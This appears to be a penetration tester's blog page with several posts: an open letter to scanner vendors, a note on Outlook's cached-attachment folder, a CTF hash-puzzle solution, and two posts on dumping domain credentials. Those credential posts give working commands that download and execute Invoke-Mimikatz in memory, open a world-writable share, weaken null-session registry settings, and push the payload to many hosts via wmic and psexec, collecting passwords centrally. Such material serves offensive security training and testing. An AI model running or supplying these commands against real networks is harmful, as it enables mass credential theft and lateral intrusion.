Open Letter to Vulnerability Scanner Companies

Dear @NeXpose, @Qualys, @Nessus and the rest of you…

As listed here: Vulnerability Scanning Tools

(I hope some of you are already doing this and I just haven’t seen your tools yet)

As Penetration Testers / Red Teamers our deliverables are, at worst, a long winded list of vulnerabilities or print out from one of your tools, at best, they are a narrative that will assist anyone reading it on understanding the impact of what was found and how.

These vulnerabilities can range from “YOU ALLOW OPENSSL 1.0!! OMG” to “There is an implementation-specific 0day vulnerability in your Widgets Inc. application”. It takes us a very long time to write these things up and they are usually in a PDF or Word Doc format. Neither of which are easy to parse, automate or in all honesty do anything with at all. Some of the better Pentest groups / companies have web apps where customers can login to see their vulnerabilities or Excel documents with findings. This is a painful process.

How you can help and why you care:

All of you have gone to being web accessible, if you were to create an interface for “Pentesters” or “Security Auditors” or “Red Teamers” (call it what you will), an account level that would allow us to login and directly input our “findings” into a company’s ALREADY CONFIGURED vulnerability management solution (YOU), you would make our lives easier, as well as your customers.

The things that would be needed in this interface:

• Custom vulnerability creation with ability to fill out fields with respect to references, suggested remediation, suspected impact level, screen shots, and attack detection capabilities (the list goes on)
• No access to other scanner results, we’re pentesters if we can cheat we will ;-) (but make it optional to turn on)
• Last (year|month|century)’s “pentest” findings. These can be used as “ya we already know about those and are fixing them” or “please make sure they were all fixed”
• During input use AJAX or whatever funky tech you use to auto-suggest vulnerability IDs or things that you already have in the database. It would save our typing and make it much easier to track for your customers.
• Make it have a timed access period with an auto-password change. Since a company would be giving a tester access to the system they scan from. The “cheat” factor could be curtailed here.
• If you are a non-hosted product, make the interface something I don’t have to punch holes in my firewall to make happen (unless I want to).
• Ability to input other vendor vulnerability scanning or pentesting (Impact/MSF Pro/CANVAS) exports.

Benefits to pentesters:

• The report out would be more of a highlights reel + executive summary versus a list of vulnerabilities
• Inputing findings during the test with a screenshot upload and specific fields is much easier than trying to keep track of findings then writing long reports that 80% of your time is spent of word processor formatting problems
• If a finding is a known quantity, using the information already apart of the vulnerability scanner, instead of having to have a collection of 300+ template findings or having to write new ones

Benefits to the customer:

• The ability to easily come back 2,3,6 months later and re-check any findings/vulnerabilities by clicking a button if the finding was related to a vulnerability ID
• No need to convert / translate pentester speak into a finding.
• Easy tracking from reporting to fix
• Easy scaling. Pentester reports Default Creds on Tomcat server with vuln ID 999, scanner automagically says this vuln is also on these other 40 servers.

I’m sure there are a bunch of other things that can make an interface like this WIN-WIN-WIN that I can’t think of right now.

Making money on the idea:

1. Companies could then start requesting “NeXpose Certified Pentesters” or “Nessus Certified” pentest company. Which would involve your company training those testers to use your interface.
2. You could sell deploy-able “appliances” so that the testers can interface with the internal asset without having access inside the firewall. (Basically internal scanner pulls down data of “findings” from Internet accessible “appliance” that gets destroyed (un-deployed) at the end of the test.

All of this would result in a more unified way for testers to report findings, make it easier for the people who consume those findings to act on them (make tickets, deploy and track the remediation efforts). As well as make you a few dollars along the way.

Thanks for you time,
mubix

Update: Just to clarify a few things discussed on twitter already:

1. The certification isn’t that a tester is an uber-hacker, it’s basically for a company to say “You know how to user our findings/vuln management tool without breaking it”. Think of it less like a CISSP/OSCP and more like a check box and a small give on the “integrity of uber pentesters” to get a greater good done.
2. This suggestion isn’t a different way to export scanner findings. Its a way for testers to input their findings in an easy to manage format that the company’s employees already know how to deal with.
3. This is meant to be a small addition to the existing infrastructure of an organization, not something another piece of software that both the company employees and testers have to learn as well and support on their infrastructure. Minimal impact to current functionality and use is key.

Read More

Outlook Cached Attachments

I happened upon an interesting directory today that I didn’t know about:

%USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\

In that directory was what looked to be a randomly generated 8 character directory (i.e A821ZSQI) inside of which held a bunch of attachments from my email (not just my inbox).

According to Microsoft KB 817878 this is a “Secure” temp folder which can be identified by a handy dandy registry key (Outlook 2010 referenced, KB has others):

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Security

I tested this out with a email that was encrypted. Once the file was opened it landed in the temp directory and stayed there after I closed the email and Outlook.

This is definitely going on the top of my Post-Exploitation click scripts.

Read More

Dumping a Domain Worth of Passwords With Mimikatz

clymb3r recently posted a script called “Invoke-Mimikatz.ps1” basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

You can very easily use this script directly from an admin command prompt as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

(This works REALLY well for Citrix and Kiosk scenarios and it’s too hard to type/remember) This runs the powershell script by directly pulling it from Github and executing it “in memory” on your system.

One of the awesome added capabilities for this script is to run on a list of hosts. as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"

This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn’t a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it “Mass Mimikatz”

Step 1. 

Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:

cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

We are setting “Everyone” permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2.

Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the “Everyone” token so that we don’t have to get crazy with our permissions. I have create a meterpreter script that has a bunch of error checking here: massmimi_reg.rb or you can just make the following changes”

HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ  = open
HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1

Step 3.

Change directory into new “open” directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4.

Upload powershell script powermeup.cmd – this script will run our hosted Invoke-Mimikatz script on each host:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1

Step 5.

Upload clymb3r’s Invoke-Mimikatz ps1 – Download from PowerSploit repo: source on github

Step 6.

Upload mongoose: Downloads Page – Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7.

Upload serverlist.txt – This is a line by line list of computer names to use mimikatz on. You’ll have to gather this one way or another.

Step 8.

Execute mongoose (from directory with mimikatz.ps1) – This will start a listener with directory listings enabled on port 8080 by default

Step 9a.

Execute wmic:

wmic /node:@serverlist.txt process call create "\\192.168.92.127\open\powershellme.cmd"

Step 9b.

Execute wmic with creds:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create "\\192.168.92.127\open\powershellme.cmd"

Step 10.

Watch as text files full of wonder and joy fill your share.

You can find the scripts here: https://github.com/mubix/post-exploitation/tree/master/scripts/mass_mimikatz

Don’t forget to clean up::

1. kill mongoose process
2. net share open /delete
3. kill/reset registry values
4. delete “open” directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

"Passwords, here, here, here, EVERYWHERE!"

Read More

Vanilla Cake #DerbyCake 2013 Solution

One of the most contested parts of the #DerbyCake contest was the hint on the Vanilla cake. It was just a long string of 1s and 0s. The hint that I kept telling everyone is that the “binary is binary” and I meant it. You weren’t supposed to hash or do anything special with it.

The reason this particular challenge is in the contest is that I run into this scenario a lot. Many times when I access binary password fields in either the Windows registry or in database servers the data comes out in 1s and 0s or some other binary format and I have to convert it back into its original hash format.

The solution there-for is pretty straight forward. You start with your very long binary string: (I’m using ruby, but its pretty much the same in Python or another language)

cakestring = '01111101011110101110111111100110101110010001000111010101010110010000100110100010011011110110010001111110101010101010111110100111000111101101001011010010001100011110101100100110101011011011001110100001010110100100101000100010100111110011100001000110100101101100101010110011011000100010001110111100011011100001011011100001111111000110101111110111101111011101110001000100010010001001001010001100101010100000000111000000100110001100011011100010010101001110000011100001100000010111111100100000011101100100011001110101'

Then you “pack” the binary into a string format:

reverse1 = [cakestring].pack("b*")

And finally into the hex format of the SHA512 hash (most people got that it was a 512 hash due to the 512 bits:

puts "Hash: #{reverse1.unpack("H*")}"

That easy. Resulting in a easily cracked SHA512 hash (that is, if you got all the hints in the DerbyCon presenters slides)

Hash: be5ef7679d88ab9a9045f6267e55f5e5784b4b8cd764b5cd855a5244f91c626953cd46c43d7668873fd6efbd3b221249315580031963472a078781fe046e62ae
Password: correct horse battery staple

Here is how you would generate such a challenge if you were so inclined:

#!/usr/bin/env ruby
require 'digest/sha2'

password = "correct horse battery staple"
puts "Password: #{password}"
forwards1 = Digest::SHA512.hexdigest(password)
puts "Hash: #{forwards1}"

forwards2 = forwards1.scan(/../)
forwards3 = []
forwards2.each do |f2|
    forwards3 << f2.hex.chr
end
forwards4 = forwards3.join

puts "Binary: #{forwards4.unpack("b*")}"

You can find a write up of the rest of the challenges and hints over on Ryan Fenno’s blog here: http://slae412.wordpress.com/2013/10/04/derbycake-2013-write-up/

Sorry to everyone who beat their head upside the wall for hours on this one. I was actually expecting this to be the first challenge to fall.

Read More

Mass Mimikatz

1. Make Share:

cd\

mkdir open

net share open=C:\open /grant:everyone,full

icacls C:\open\ /grant Everyone:(OI)(CI)F /t

2. Set registry keys (massmimi_reg.rb meterpreter script):

reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open

reg change HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" 1

3. Change directory into new “open” directory

4. Upload powershell script (powermeup.cmd):

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1

5. Upload clymb3r’s Invoke-Mimikatz.ps1 - Download from PowerSploit repo: source on github

6. Upload mongoose: Downloads Page (Updated to use Archive.org version) - Both regular and tiny versions work

7. Upload serverlist.txt - This is a line by line list of computer names to use mimikatz on.

8. Execute mongoose (from directory with mimikatz.ps1) - This will start a listener with directory listings enabled on port 8080 by default

9. Execute wmic:

wmic /node:@serverlist.txt process call create "\\192.168.92.127\open\powershellme.cmd"

9a. Execute wmic with creds:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create "\\192.168.92.127\open\powershellme.cmd"

clean up:
1. kill mongoose process
2. net share open /delete
3. kill registry values
4. delete “open” directory

Read More